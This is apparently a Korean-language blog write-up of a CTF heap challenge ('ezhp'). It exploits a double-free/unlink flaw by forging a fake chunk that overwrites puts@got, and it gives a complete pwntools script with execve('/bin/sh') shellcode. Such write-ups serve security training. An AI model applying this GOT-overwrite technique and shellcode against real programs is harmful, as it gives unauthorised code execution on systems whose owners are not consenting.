double free bug문제
보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.
커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.
next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.
쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.
1. 1번메뉴 선택, 사이즈 =10
2. 1번메뉴 선택, 사이즈 = 10
3. 1번메뉴 선택, 사이즈 = 100
4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20
5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공
4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100
5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30
6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit
exploit code
from pwn import * def add(size): r.recvuntil("Please choose an option.\n") r.sendline("1") r.recvuntil("Please give me a size.\n") r.sendline(str(size)) def change(id, size, data): r.sendline("3") r.sendline(str(id)) r.sendline(str(size)) r.sendline(data) def leak_chunk(id): r.sendline("4") r.sendline(str(id)) r.recvuntil("AAAAAAAAAAAAAAA\n") leaked_chunk = u32(r.recv()[:4]) return leaked_chunk def remove(id): r.sendline("2") r.sendline(str(id)) if __name__ == "__main__": shellcode = "\xeb\x0c" shellcode += "\x90"*30 shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" r = process("./ezhp") elf = ELF("./ezhp") puts_got = elf.got['puts'] add(10) add(10) add(100) payload = "A"*15 change(1, 20, payload) third_chunk = leak_chunk(1) shell_address = third_chunk - 0x6c log.info("shellcode address = {}".format(hex(shell_address))) change(2, 100, shellcode) payload = "A"*12 payload += p32(0xffffffff) payload += p32(puts_got - 8) payload += p32(shell_address) change(0, 30, payload) remove(1) r.interactive()
'CTF' 카테고리의 다른 글
Defcon 2014 Babyfirst heap (0) | 2018.08.16 |
---|---|
Defcon 2017 smashme (0) | 2018.08.12 |
CodeGate2017 messenger (0) | 2018.08.07 |
RCTF 2015 welpwn (0) | 2018.08.01 |
EasyCTF2017 Simple ROP (0) | 2018.08.01 |